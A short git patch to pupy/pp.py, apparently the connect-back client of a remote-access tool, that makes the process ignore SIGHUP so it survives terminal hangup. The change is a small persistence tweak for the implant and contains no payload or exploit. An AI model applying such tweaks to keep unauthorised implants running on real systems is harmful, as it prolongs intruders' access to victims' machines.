From 5596b291bdfe698249d8780ee8ade580a9df9989 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Thu, 18 May 2017 20:55:04 +0300 Subject: [PATCH] If signal module SIGHUP - let's ignore it What can go wrong, huh? --- pupy/pp.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/pupy/pp.py b/pupy/pp.py index d1fb35a8..a00d0304 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -64,6 +64,7 @@ import logging import shlex import marshal import zlib +import signal try: # additional imports needed to package with pyinstaller @@ -285,6 +286,9 @@ def set_connect_back_host(HOST): def handle_sigchld(*args, **kwargs): os.waitpid(-1, os.WNOHANG) +def handle_sighup(*args): + pass + attempt = 0 def main(): @@ -293,6 +297,9 @@ def main(): global debug global attempt + if hasattr(signal, 'SIGHUP'): + signal.signal(signal.SIGHUP, handle_sighup) + if len(sys.argv) > 1: parser = argparse.ArgumentParser( prog='pp.py',